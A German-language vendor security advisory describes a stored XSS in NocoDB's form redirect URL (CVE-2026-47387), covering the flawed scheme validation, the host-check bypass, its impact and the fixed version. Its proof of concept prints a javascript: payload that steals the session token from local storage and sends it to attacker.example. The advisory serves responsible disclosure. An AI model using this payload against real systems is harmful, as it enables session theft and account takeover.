NocoDB: Stored XSS über die Redirect-URL einer Formularansicht

Ein Nutzer mit Editor-Rolle kann in der Redirect-URL einer Formularansicht ein javascript:-Payload hinterlegen, das beim Absenden des öffentlichen Formulars im Browser des Opfers ausgeführt wird, dessen Sitzungstoken stiehlt und so zur Account-Übernahme führt.

Advisory-ID: TP-2026-007
Produkt: NocoDB (Open-Source-Plattform, die Datenbanken in Tabellen, Formulare und Dashboards verwandelt)
Schwachstellentyp: Stored Cross-Site-Scripting (CWE-79)
CVE: CVE-2026-47387
CVSS 3.1: 8.7 (Hoch) · CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N
Betroffene Versionen: ≤ 2026.05.0
Behoben in: 2026.05.1
Hersteller-Advisory: GHSA-hj85-ph9q-78jg
Gemeldet: 14. Mai 2026

Zusammenfassung

NocoDB ist eine weit verbreitete Open-Source-Plattform, die relationale Datenbanken in Tabellen, Formulare und Dashboards verwandelt. Eine Formularansicht kann eine Redirect-URL speichern, zu der nach dem Absenden weitergeleitet wird; deren Validierung prüft das Schema der URL nicht wirksam, und der zusätzliche Same-Host-Abgleich wird durch javascript:-URLs umgangen, weil deren Host-Komponente leer ist. Ein Nutzer mit Editor-Rolle auf einer beliebigen Base hinterlegt ein javascript:-Payload als redirect_url; der öffentliche Freigabe-Link liefert diesen Wert unverändert aus, und sobald ein höher privilegierter Nutzer das Formular absendet, läuft das Skript im Origin von NocoDB. Es liest das Sitzungstoken aus dem Local Storage und führt damit authentifizierte API-Aufrufe im Namen des Opfers aus, was zur Übernahme des Accounts führt. turingpoint hat den End-to-End-Ablauf als stored XSS mit Account-Übernahme verifiziert und verantwortungsvoll an den Hersteller gemeldet.

Ursache

NocoDB erlaubt es, das Weiterleitungsziel eines Formulars nach dem Absenden als redirect_url zu speichern; der Shared-Form-Store validiert diesen Wert mit isValidRedirectUrl, das nur auf eine nicht-leere Zeichenkette prüft und keine Schema-Prüfung vornimmt (packages/nc-gui/composables/useSharedFormViewStore.ts). Der Submit-Handler vergleicht zusätzlich den geparsten anchor.host der URL mit window.location.host, um die Weiterleitung auf denselben Origin zu beschränken (packages/nc-gui/composables/useSharedFormViewStore.ts). Bei Nicht-Netzwerk-Schemata wie javascript:, data: oder file: setzt der Browser anchor.host auf eine leere Zeichenkette, sodass dieser Same-Host-Vergleich den Wert nie blockiert und die rohe URL als Navigationsziel verwendet wird. Der öffentliche Meta-Endpunkt der Formularfreigabe gibt die gespeicherte redirect_url unverändert an jeden Betrachter zurück, sodass eine vom Angreifer kontrollierte javascript:-URL ungefiltert in den Browser des Opfers gelangt. Jeder Nutzer mit der editor-Rolle auf einer beliebigen Base kann redirect_url setzen, und sobald ein Betrachter das Formular absendet, navigiert der Handler zur javascript:-URL, die im Origin von NocoDB ausgeführt wird und das Sitzungstoken aus localStorage['nocodb-gui-v2'] ausliest.

Proof of Concept

Ein Editor setzt die Redirect-URL der Formularansicht auf ein javascript:-Payload, der öffentliche Freigabe-Link liefert ihn unverändert aus:

// Editor setzt die Redirect-URL der Formularansicht:
redirect_url = javascript:fetch('https://attacker.example/c?t='+JSON.parse(localStorage['nocodb-gui-v2']).token)

// Öffentlicher Freigabe-Link des Formulars:
GET /dashboard/#/nc/form/<shared-view-uuid>
// Der Meta-Endpunkt gibt redirect_url unverändert zurück; beim Absenden navigiert der Handler dorthin.

isValidRedirectUrl lässt das javascript:-Schema passieren, und der Same-Host-Abgleich greift nicht, weil eine javascript:-URL keinen Host besitzt (anchor.host ist leer). Beim Absenden des öffentlichen Formulars wird der Payload im Origin von NocoDB ausgeführt, liest das Sitzungstoken aus dem Local Storage und exfiltriert es an den Angreifer.

Auswirkung

  • Ein Nutzer mit Editor-Rolle auf einer beliebigen Base speichert eine javascript:-Weiterleitung, die in der Sitzung jedes Nutzers ausgeführt wird, der das öffentliche Formular absendet.
  • Das aus dem Local Storage gestohlene Sitzungstoken erlaubt authentifizierte API-Aufrufe im Namen des Opfers innerhalb von dessen Berechtigungen.
  • Sendet ein höher privilegierter Nutzer (Workspace-Owner oder Admin) das Formular ab, eskaliert der Angreifer zu dessen Account = vollständige Account-Übernahme.
  • Der Payload läuft im eigenen Origin von NocoDB und benötigt keine weitere Interaktion über den normalen Ein-Klick-Versand des Formulars hinaus.

Referenzen

Steckt so etwas in Ihrer Software?

Diese Schwachstelle hat unser Team im Rahmen seiner Arbeit gefunden. Lassen Sie Ihre Anwendungen von denselben Spezialisten prüfen, mit einem Penetrationstest von turingpoint.